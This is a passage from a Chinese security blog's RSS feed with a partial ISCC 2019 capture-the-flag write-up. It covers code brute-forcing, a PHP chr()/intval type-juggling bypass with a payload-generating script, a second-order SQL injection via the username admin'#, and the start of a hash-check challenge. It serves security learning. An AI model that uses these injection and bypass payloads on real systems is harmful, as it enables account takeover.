<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>iscc2018 &#8211; ChaBug安全</title>
	<atom:link href="/tags/iscc2018/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sat, 06 Jul 2019 17:23:37 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>ISCC 2019部分writeup</title>
		<link>/ctf/656.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:23:37 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[iscc]]></category>
		<category><![CDATA[iscc2018]]></category>
		<guid isPermaLink="false">/?p=656</guid>

					<description><![CDATA[web1 题目地址：http://39.100.83.188:8002/ 删掉cookie和code字段提示密码错误 burp爆破3位数字 web2 题目地址: http://39....]]>/</description>
										<content:encoded><![CDATA[<h1 class="md-end-block md-heading md-focus"><span class="md-plain md-expand">web1</span></h1>
<p><span class="md-plain">题目地址：</span><span class="md-link"><a spellcheck="false" href="http://39.100.83.188:8002/" target="_blank" rel="nofollow noopener noreferrer"><span class="md-plain">http://39.100.83.188:8002/</span></a></span></p>
<p><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190501180858.png"><img src="https://y4er.com/img/uploads/20190501180858.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190501181040.png"><img src="https://y4er.com/img/uploads/20190501181040.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p><span class="md-plain">删掉cookie和code字段提示</span><span spellcheck="false"><code>密码错误</code></span></p>
<p><span class="md-plain">burp爆破3位数字</span></p>
<p><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190501181505.png"><img src="https://y4er.com/img/uploads/20190501181505.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">web2</span></h1>
<p><span class="md-plain">题目地址: </span><span class=" md-link"><a spellcheck="false" href="http://39.100.83.188:8001/" target="_blank" rel="nofollow noopener noreferrer"><span class="md-plain">http://39.100.83.188:8001/</span></a></span></p>
<div id="crayon-5d0fe351b3be0627050908" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-17">17</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3be0627050908-1" class="crayon-line"><span class="crayon-o">&lt;</span><span class="crayon-sy">?</span><span class="crayon-e">php</span></div>
<div id="crayon-5d0fe351b3be0627050908-2" class="crayon-line crayon-striped-line"><span class="crayon-e">error_reporting</span><span class="crayon-sy">(</span><span class="crayon-cn">0</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-3" class="crayon-line"><span class="crayon-i">require</span> <span class="crayon-s">&#8216;flag.php&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-4" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">value</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;value&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-5" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">password</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;password&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-6" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">username</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-7" class="crayon-line">​</div>
<div id="crayon-5d0fe351b3be0627050908-8" class="crayon-line crayon-striped-line"><span class="crayon-st">for</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">i</span> <span class="crayon-o">=</span> <span class="crayon-cn">0</span><span class="crayon-sy">;</span> <span class="crayon-sy">$</span><span class="crayon-v">i</span> <span class="crayon-o">&lt;</span> <span class="crayon-e">count</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span> <span class="crayon-o">++</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3be0627050908-9" class="crayon-line">  <span class="crayon-st">if</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span> <span class="crayon-o">&gt;</span> <span class="crayon-cn">32</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span> <span class="crayon-o">&lt;</span> <span class="crayon-cn">127</span><span class="crayon-sy">)</span> <span class="crayon-e">unset</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-10" class="crayon-line crayon-striped-line">  <span class="crayon-st">else</span> <span class="crayon-sy">$</span><span class="crayon-i">username</span> <span class="crayon-sy">.</span><span class="crayon-o">=</span> <span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-11" class="crayon-line">  <span class="crayon-st">if</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">username</span> <span class="crayon-o">==</span> <span class="crayon-s">&#8216;w3lc0me_To_ISCC2019&#8217;</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">password</span><span class="crayon-sy">)</span> <span class="crayon-o">&lt;</span> <span class="crayon-cn">2333</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">password</span> <span class="crayon-o">+</span> <span class="crayon-cn">1</span><span class="crayon-sy">)</span> <span class="crayon-o">&gt;</span> <span class="crayon-cn">2333</span><span class="crayon-sy">)</span> <span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3be0627050908-12" class="crayon-line crayon-striped-line">    <span class="crayon-i">echo</span> <span class="crayon-s">&#8216;Hello &#8216;</span><span class="crayon-sy">.</span><span class="crayon-sy">$</span><span class="crayon-v">username</span><span class="crayon-sy">.</span><span class="crayon-s">&#8216;!&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8216;&lt;br&gt;&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-v">PHP_EOL</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-13" class="crayon-line">    <span class="crayon-i">echo</span> <span class="crayon-sy">$</span><span class="crayon-v">flag</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8216;&lt;hr&gt;&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-14" class="crayon-line crayon-striped-line"> <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3be0627050908-15" class="crayon-line"><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3be0627050908-16" class="crayon-line crayon-striped-line">​</div>
<div id="crayon-5d0fe351b3be0627050908-17" class="crayon-line"><span class="crayon-e">highlight_file</span><span class="crayon-sy">(</span><span class="crayon-v">__FILE__</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">要求满足</span></p>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">username=&#8217;w3lc0me_To_ISCC2019&#8242;</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">输入的vaule不在ascii码可见范围内</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">intval($password) &lt; 2333 &amp;&amp; intval($password + 1) &gt; 2333</span></p>
</li>
</ol>
<p class="md-end-block md-p"><span class="md-plain">考点在于弱类型和类型转换</span></p>
<p class="md-end-block md-p"><span class="md-plain">查阅chr()相关函数</span></p>
<div id="crayon-5d0fe351b3bea629500931" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bea629500931-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bea629500931-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bea629500931-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bea629500931-1" class="crayon-line"><span class="crayon-e">Note </span><span class="crayon-e">that </span><span class="crayon-st">if</span> <span class="crayon-e">the </span><span class="crayon-e">number </span><span class="crayon-st">is</span> <span class="crayon-e">higher </span><span class="crayon-i">than</span> <span class="crayon-cn">256</span><span class="crayon-sy">,</span> <span class="crayon-e">it </span><span class="crayon-e">will </span><span class="crayon-st">return</span> <span class="crayon-e">the </span><span class="crayon-e">number </span><span class="crayon-i">mod</span> <span class="crayon-cn">256.</span></div>
<div id="crayon-5d0fe351b3bea629500931-2" class="crayon-line crayon-striped-line"><span class="crayon-st">For</span> <span class="crayon-v">example</span> <span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3bea629500931-3" class="crayon-line"><span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-cn">321</span><span class="crayon-sy">)</span><span class="crayon-o">=</span><span class="crayon-i">A</span> <span class="crayon-i">because</span> <span class="crayon-v">A</span><span class="crayon-o">=</span><span class="crayon-cn">65</span><span class="crayon-sy">(</span><span class="crayon-cn">256</span><span class="crayon-sy">)</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">chr()自动mod256</span></p>
<p class="md-end-block md-p"><span class="md-plain">那么构造我们的脚本生成payload</span></p>
<div id="crayon-5d0fe351b3bed615521032" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bed615521032-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bed615521032-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bed615521032-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-7">7</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bed615521032-1" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">payload</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8216;w3lc0me_To_ISCC2019&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bed615521032-2" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">payload1</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bed615521032-3" class="crayon-line"><span class="crayon-st">for</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-o">=</span><span class="crayon-cn">0</span><span class="crayon-sy">;</span> <span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-o">&lt;</span><span class="crayon-e">strlen</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">payload</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span> <span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-o">++</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bed615521032-4" class="crayon-line crayon-striped-line"><span class="crayon-c">//    echo $username1[$i].'&lt;br&gt;&#8217;;</span></div>
<div id="crayon-5d0fe351b3bed615521032-5" class="crayon-line">  <span class="crayon-sy">$</span><span class="crayon-v">payload1</span><span class="crayon-sy">.</span><span class="crayon-o">=</span> <span class="crayon-s">&#8216;&amp;value[]=&#8217;</span><span class="crayon-sy">.</span><span class="crayon-sy">(</span><span class="crayon-cn">256</span><span class="crayon-o">+</span><span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">payload</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bed615521032-6" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bed615521032-7" class="crayon-line"><span class="crayon-i">echo</span> <span class="crayon-sy">$</span><span class="crayon-v">payload1</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">password就用进制绕过</span></p>
<p class="md-end-block md-p"><span class="md-plain">2334的hex是0x91e</span></p>
<div id="crayon-5d0fe351b3bef391968227" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bef391968227-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bef391968227-2">2</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bef391968227-1" class="crayon-line"><span class="crayon-e">echo </span><span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;0x91e&#8217;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span><span class="crayon-h">       </span><span class="crayon-c">//0</span></div>
<div id="crayon-5d0fe351b3bef391968227-2" class="crayon-line crayon-striped-line"><span class="crayon-e">echo </span><span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;0x91e&#8217;</span><span class="crayon-o">+</span><span class="crayon-cn">1</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span><span class="crayon-h">     </span><span class="crayon-c">//2335</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">最后的payload</span></p>
<div id="crayon-5d0fe351b3bf0419226505" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf0419226505-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf0419226505-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//39.100.83.188:8001/?value[]=375&amp;value[]=307&amp;value[]=364&amp;value[]=355&amp;value[]=304&amp;value[]=365&amp;value[]=357&amp;value[]=351&amp;value[]=340&amp;value[]=367&amp;value[]=351&amp;value[]=329&amp;value[]=339&amp;value[]=323&amp;value[]=323&amp;value[]=306&amp;value[]=304&amp;value[]=305&amp;value[]=313&amp;password=0x91e</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h1 class="md-end-block md-heading"><span class="md-plain">web3</span></h1>
<p class="md-end-block md-p"><span class="md-link" spellcheck="false"><a href="http://39.100.83.188:8065/" target="_blank" rel="nofollow noopener noreferrer">http://39.100.83.188:8065/</a></span></p>
<p class="md-end-block md-p"><span class="md-plain">title提示二次注入，注入点发生在注册的地方。</span></p>
<p class="md-end-block md-p"><span class="md-plain">注册用户名为</span><span spellcheck="false"><code>admin'#</code></span><span class="md-plain">，然后修改密码，用修改后的密码登录admin账号即可拿到flag</span></p>
<p class="md-end-block md-p"><span class="md-plain">重新写文章的用户名被注册了，我在这注册</span><span spellcheck="false"><code>admin'#</code></span><span class="md-image" data-src="https://y4er.com/img/uploads/20190508163511.png"><img src="https://y4er.com/img/uploads/20190508163511.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">修改密码为a</span><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190508163641.png"><img src="https://y4er.com/img/uploads/20190508163641.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">登录admin用户</span><span class="md-image" data-src="https://y4er.com/img/uploads/20190508163613.png"><img src="https://y4er.com/img/uploads/20190508163613.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">web4</span></h1>
<p class="md-end-block md-p"><span class="md-link" spellcheck="false"><a href="http://39.100.83.188:8066/" target="_blank" rel="nofollow noopener noreferrer">http://39.100.83.188:8066/</a></span> <span class="md-plain">源代码</span></p>
<div id="crayon-5d0fe351b3bf2250158932" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-18">18</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-19">19</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-20">20</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-21">21</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-22">22</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-23">23</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-24">24</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf2250158932-1" class="crayon-line"><span class="crayon-ta">&lt;?php</span></div>
<div id="crayon-5d0fe351b3bf2250158932-2" class="crayon-line crayon-striped-line"><span class="crayon-e">error_reporting</span><span class="crayon-sy">(</span><span class="crayon-cn">0</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-3" class="crayon-line"><span class="crayon-k ">include</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;flag.php&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-4" class="crayon-line crayon-striped-line"><span class="crayon-v">$hashed_key</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8216;ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-5" class="crayon-line"><span class="crayon-v">$parsed</span> <span class="crayon-o">=</span> <span class="crayon-e">parse_url</span><span class="crayon-sy">(</span><span class="crayon-v">$_SERVER</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;REQUEST_URI&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-6" class="crayon-line crayon-striped-line"><span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-k ">isset</span><span class="crayon-sy">(</span><span class="crayon-v">$parsed</span><span class="crayon-sy">[</span><span class="crayon-s">&#8220;query&#8221;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-7" class="crayon-line">  <span class="crayon-v">$query</span> <span class="crayon-o">=</span> <span class="crayon-v">$parsed</span><span class="crayon-sy">[</span><span class="crayon-s">&#8220;query&#8221;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-8" class="crayon-line crayon-striped-line">  <span class="crayon-v">$parsed_query</span> <span class="crayon-o">=</span> <span class="crayon-e">parse_str</span><span class="crayon-sy">(</span><span class="crayon-v">$query</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-9" class="crayon-line">  <span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-v">$parsed_query</span><span class="crayon-o">!=</span><span class="crayon-t">NULL</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-10" class="crayon-line crayon-striped-line">    <span class="crayon-v">$action</span> <span class="crayon-o">=</span> <span class="crayon-v">$parsed_query</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;action&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-11" class="crayon-line"> <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bf2250158932-12" class="crayon-line crayon-striped-line">​</div>
<div id="crayon-5d0fe351b3bf2250158932-13" class="crayon-line">  <span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-v">$action</span><span class="crayon-o">===</span><span class="crayon-s">&#8220;auth&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-14" class="crayon-line crayon-striped-line">    <span class="crayon-v">$key</span> <span class="crayon-o">=</span> <span class="crayon-v">$_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8220;key&#8221;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-15" class="crayon-line">    <span class="crayon-v">$hashed_input</span> <span class="crayon-o">=</span> <span class="crayon-e">hash</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;sha256&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-v">$key</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-16" class="crayon-line crayon-striped-line">    <span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-v">$hashed_input</span><span class="crayon-o">!==</span><span class="crayon-v">$hashed_key</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-17" class="crayon-line">      <span class="crayon-k ">die</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;&lt;img src=&#8217;cxk.jpg&#8217;&gt;&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-18" class="crayon-line crayon-striped-line">   <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bf2250158932-19" class="crayon-line">​</div>
<div id="crayon-5d0fe351b3bf2250158932-20" class="crayon-line crayon-striped-line">    <span class="crayon-k ">echo</span> <span class="crayon-v">$flag</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-21" class="crayon-line"> <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bf2250158932-22" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span><span class="crayon-st">else</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-23" class="crayon-line">  <span class="crayon-e">show_source</span><span class="crayon-sy">(</span><span class="crayon-k ">__FILE__</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-24" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span><span class="crayon-ta">?&gt;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">通读代码，要求</span></p>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">设置query</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">action=auth</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span spellcheck="false"><code>$hashed_input</code></span><span class="md-plain">要等于</span><span spellcheck="false"><code>$hashed_key</code></span></p>
</li>
</ol>
